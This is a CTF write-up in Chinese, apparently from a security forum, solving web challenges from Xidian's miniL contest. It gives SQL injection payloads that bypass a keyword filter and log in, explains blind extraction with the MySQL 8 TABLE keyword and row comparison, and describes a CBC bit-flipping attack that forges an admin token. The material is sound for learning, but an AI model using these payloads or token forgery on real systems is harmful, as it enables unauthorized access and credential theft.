首页
社区
课程
招聘
西电miniL-web部分题解
发表于: 2022-5-13 14:08 12453

西电miniL-web部分题解

2022-5-13 14:08
12453

一个 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。

打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users 这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)

存在SQL注入,先fuzz一下看ban掉了哪些关键字符

过滤了很多东西

可以看到select都用不了,还有注释单引号什么的,但发现 \ 并未被ban,所以根据它的sql语句可以在username处来个 \ 转义掉后面的 ' 即它后端的sql语句变成了这样

而对于最后的这个 ',由于注释符被过滤了,所以可以使用 ;%00 来代替,截断后面的 '

所以后端的sql查询语句可以是

构造payload发送,可以发现response了 success

但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!fail!两种返回值。

基本上可以确定是要盲注了

但问题就难在这里or、 select、 union等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()version() 去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf ,但好像没啥用。但这个 version 就不一样了。

试了下payload

发现竟然返回了 fail!,那就说明这是 mysql8 的版本。验证一下

image-20220506173726449

既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE 关键字。

翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法

它的作用和 SELECT * FROM table_name 的作用差不多,都是列出表的整个内容

(下文实例的所有users表内容均相同)

配合 LIMIT 关键字可以精确到某一行

还可以配合 ORDER BY 详情可以翻阅文档,这里不再赘述。

mysql中的字符串可以配合 () 和表的某一行进行比较,如:

对于字符串之间的大小比较其规则是这样的:

不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 > 还是 < 直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:

利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。

和表查询结果比较

所以可以利用这些来盲注爆破

了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。

可以构造 payload :

爆破脚本:

运行得到 username 和 password

登录拿到flag

打开题目告诉

然后仔细研究了一下这个token,发现最前面固定为 0001145141919810 ,然后..............不会了

后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。

关键代码

flagController.go文件:

token.go文件:

然后.....又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。

CBC全称Cipher Block Chaining,密码分组链接模式

大致的过程是:

解密反过来操作就行了,这里不再赘述

详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

加密过程

automne

解密过程

automne

从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文

CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。

automne

上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。

进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):

automne

从上图可以清楚得到:

需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B

对于分组的第n字节,相应地有:

变形得到:

在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1

在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2

于是由式(1)式(2)得:

调整顺序:

可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。

由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest 变为 admin 即可

由上文分析不难推出最终计算所需 iv 的公式为

exp:

运行得到所需iv为

将原来token前面的iv( 0001145141919810 )替换为 0001145147(9#"10 ,编码后发送,认证成功,拿到flag

很简单的签到题,这里不再赘述。

https://www.codetd.com/article/13126014

https://www.jianshu.com/p/f4684322e851

https://dev.mysql.com/doc/refman/8.0/en/table.html

https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/

https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/

 
 
 
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if
select * from users where username='\' and password='YOUR_INPUT';
select * from users where username='\' and password='YOUR_INPUT';
 
select * from users where username='\' and password='||1;%00'
select * from users where username='\' and password='||1;%00'
 
 
 
 
 
username=\&password=||version()=5;%00
username=\&password=||version()=5;%00
 
 
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
 
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)
mysql> TABLE users LIMIT 0,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)
 
mysql> TABLE users LIMIT 1,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | guest    | asd321   |
+------+----------+----------+
1 row in set (0.01 sec)
 
mysql> TABLE users LIMIT 1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> TABLE users LIMIT 0,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)
 
mysql> TABLE users LIMIT 1,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | guest    | asd321   |
+------+----------+----------+
1 row in set (0.01 sec)
 
mysql> TABLE users LIMIT 1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> SELECT (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1);
+----------------------------------------------------+
| (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
 
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (1,'admin','qwe123')=(TABLE users LIMIT 1);
+--------------------------------------------+
| (1,'admin','qwe123')=(TABLE users LIMIT 1) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1);
+----------------------------------------------------+
| (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
 
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (1,'admin','qwe123')=(TABLE users LIMIT 1);
+--------------------------------------------+
| (1,'admin','qwe123')=(TABLE users LIMIT 1) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT 'a'<'C';
+---------+
| 'a'<'C' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)
 
mysql> SELECT 'e'>'ef';
+----------+
| 'e'>'ef' |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)
 
mysql> SELECT 'adc'<'aea';
+-------------+
| 'adc'<'aea' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)
 
mysql> SELECT 'qwe'>'qwf';
+-------------+
| 'qwe'>'qwf' |
+-------------+
|           0 |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT 'a'<'C';
+---------+
| 'a'<'C' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)
 
mysql> SELECT 'e'>'ef';
+----------+
| 'e'>'ef' |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)
 
mysql> SELECT 'adc'<'aea';
+-------------+
| 'adc'<'aea' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)
 
mysql> SELECT 'qwe'>'qwf';
+-------------+
| 'qwe'>'qwf' |
+-------------+
|           0 |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT ('a','b','cd')<('a','b','ce');
+-------------------------------+
| ('a','b','cd')<('a','b','ce') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.01 sec)
 
mysql> SELECT ('a','b','cd')<('a','b','cd');
+-------------------------------+
| ('a','b','cd')<('a','b','cd') |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (0.00 sec)
 
 
mysql> SELECT ('a','b','cd')<('a','c','ab');
+-------------------------------+
| ('a','b','cd')<('a','c','ab') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> SELECT ('a','b','cd')<('a','b','ce');
+-------------------------------+
| ('a','b','cd')<('a','b','ce') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.01 sec)
 
mysql> SELECT ('a','b','cd')<('a','b','cd');
+-------------------------------+
| ('a','b','cd')<('a','b','cd') |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (0.00 sec)
 
 
mysql> SELECT ('a','b','cd')<('a','c','ab');
+-------------------------------+
| ('a','b','cd')<('a','c','ab') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)
 
mysql> SELECT (1,'admin','')<(TABLE users LIMIT 1);
+--------------------------------------+
| (1,'admin','')<(TABLE users LIMIT 1) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qw')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qw')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qx')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qx')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set (0.00 sec)
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)
 
mysql> SELECT (1,'admin','')<(TABLE users LIMIT 1);
+--------------------------------------+
| (1,'admin','')<(TABLE users LIMIT 1) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qw')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qw')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qx')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qx')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set (0.00 sec)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-5-13 14:23 被pank1s编辑 ,原因: 部分图片未加载
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//